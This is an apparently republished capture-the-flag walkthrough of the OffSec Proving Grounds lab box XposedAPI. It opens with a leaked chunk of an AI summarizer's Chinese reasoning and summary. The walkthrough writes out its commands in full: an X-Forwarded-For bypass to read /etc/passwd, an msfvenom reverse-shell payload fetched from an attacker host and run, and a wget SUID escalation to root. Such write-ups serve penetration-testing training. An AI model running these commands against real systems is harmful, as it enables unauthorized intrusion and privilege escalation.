Proving Grounds — Practice — XposedAPI
好的,我现在需要帮用户总结一篇文章的内容,控制在100个字以内。用户给的原文是关于Offsec的XposedAPI练习盒子的渗透测试过程。首先,我得通读全文,抓住关键点。 文章开始提到XposedAPI被社区评为困难级别,而官方标的是中级。接着描述了渗透过程:通过Nmap扫描发现开放端口,特别是13337的HTTP服务。然后利用X-Forwarded-For头绕过日志限制,获取了/etc/passwd文件,找到了用户名clumsyadmin。 接下来,攻击者上传了一个反向shell的ELF文件到/update接口,并重启服务以获得权限。然后通过wget的SUID二进制文件提权,最终获取root权限并读取proof.txt。 现在要将这些步骤浓缩到100字以内。我需要涵盖主要步骤:API利用、日志绕过、上传shell、SUID提权和最终目标达成。 可能会遗漏一些细节,比如具体的curl命令或工具使用,但核心流程必须保留。确保语言简洁明了,不使用复杂的术语。 最后检查字数是否符合要求,并确保内容连贯。 </think> 文章描述了通过利用暴露的API和日志绕过技术进入系统的过程,并通过上传反向shell和SUID二进制提权最终获取root权限。 2026-3-19 04:56:58 Author: infosecwriteups.com(查看原文) 阅读量:5 收藏

Makoyi

AI image created with https://deepai.org/machine-learning-model/hologram-3d-generator

Offsec’s Proving Grounds Practice box, XposedAPI, is rated intermediate, but the community disagrees and rated it hard. Much like the name suggests, the box starts with an exposed API. Once exploited, we gain a shell and find privilege escalation through a SUID binary.

— NMAP Scan

makoyi@kali [~] 
❯ sudo nmap -Pn -n 192.168.229.134 -sC -sV -p- --open
[sudo] password for makoyi:
Starting Nmap 7.98 ( https://nmap.org ) at 2026-03-17 21:47 -0500
Nmap scan report for 192.168.229.134
Host is up (0.042s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 74:ba:20:23:89:92:62:02:9f:e7:3d:3b:83:d4:d9:6c (RSA)
| 256 54:8f:79:55:5a:b0:3a:69:5a:d5:72:39:64:fd:07:4e (ECDSA)
|_ 256 7f:5d:10:27:62:ba:75:e9:bc:c8:4f:e2:72:87:d4:e2 (ED25519)
13337/tcp open http Gunicorn 20.0.4
|_http-server-header: gunicorn/20.0.4
|_http-title: Remote Software Management API
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 25.94 seconds

Navigating to the web page on port 13337, we find in big, bold, red lettering.

Press enter or click to view image in full size

That’s a pretty good indicator that we’re on the right track. Scrolling further down the page, we find some more interesting things and what appears to be our attack vector.

Press enter or click to view image in full size

The first thing I wanted to do was to take a look at the logs, but attempting to look at it in the web browser won’t seem to work.

Press enter or click to view image in full size

Easy enough to bypass, all we need to do is change the header, and based on the output, “for this host”, I thought that maybe changing the header to localhost might work.

curl http://192.168.229.134:13337/logs -H "X-Forwarded-For:localhost"

It didn’t work quite like I had planned, but at least it gave me enough information to fix what I did wrong.

curl http://192.168.229.134:13337/logs\?file\=/etc/passwd -H "X-Forwarded-For:localhost"

Well, look at that, it seemed to work and we got the contents of /etc/passwd.

Looking back at the contents of the webpage, /update looks like we can upload a shell into the system, now that we know the user’s name is clumsyadmin.

Get Makoyi’s stories in your inbox

Join Medium for free to get updates from this writer.

Remember me for faster sign in

First, let’s go ahead and give it a test run, and see if it’s as good of a way in as I’m hoping it is.

python3 -m http.server 80
curl -X POST http://192.168.229.134:13337/update -H "Content-Type: application/json" --data '{"user":"clumsyadmin","url":"http://<ATTACKER IP>/test"}'

Press enter or click to view image in full size

Ok, it works, now we need to build a payload to upload to the system.

msfvenom -p linux/x64/shell_reverse_tcp lhost=<ATTACKER IP> lport=4444 -f elf > exp.elf

Now, start a listener to catch our reverse shell.

rlwrap -cAr nc -lvnp 4444
curl -X POST http://192.168.229.134:13337/update -H "Content-Type: application/json" --data '{"user":"clumsyadmin","url":"http://192.168.45.219/exp.elf"}'

The output says that we need to restart the software for the changes to take effect.

curl http://192.168.229.134:13337/restart

Based on the output, we have to add a little extra input for the software to be restarted. Looks like the request needs to have the data ‘{“confirm”:”true”}’ in the request to work.

curl http://192.168.229.134:13337/restart --data '{"confirm":"true"}'

We grab a shell as the user clumsyadmin and find local.txt in the home directory.

The first thing I did, was run sudo -l, but without the password for the account, I had no access to it. Moving on, time to check SUID binaries.

find / -perm -u=s -type f 2>/dev/null

If the account has access to python, in which case this user does, I like to use an automated SUID enumerator.

python suid3num.py

Wget has SUID binary set, time to go check out GTFObins.

Press enter or click to view image in full size

TF=$(mktemp)

chmod +x $TF

echo -e '#!/bin/sh -p\n/bin/sh -p 1>&0' >$TF

wget --use-askpass=$TF 0

Now we can read the proof.txt file in the root directory.

Press enter or click to view image in full size

Thank you for reading!

I hope this walkthrough helps, stay ethical, and happy hacking!


文章来源: https://infosecwriteups.com/proving-grounds-practice-xposedapi-770d48008e3a?source=rss----7b722bfd1b8d---4
如有侵权请联系:admin#unsafe.sh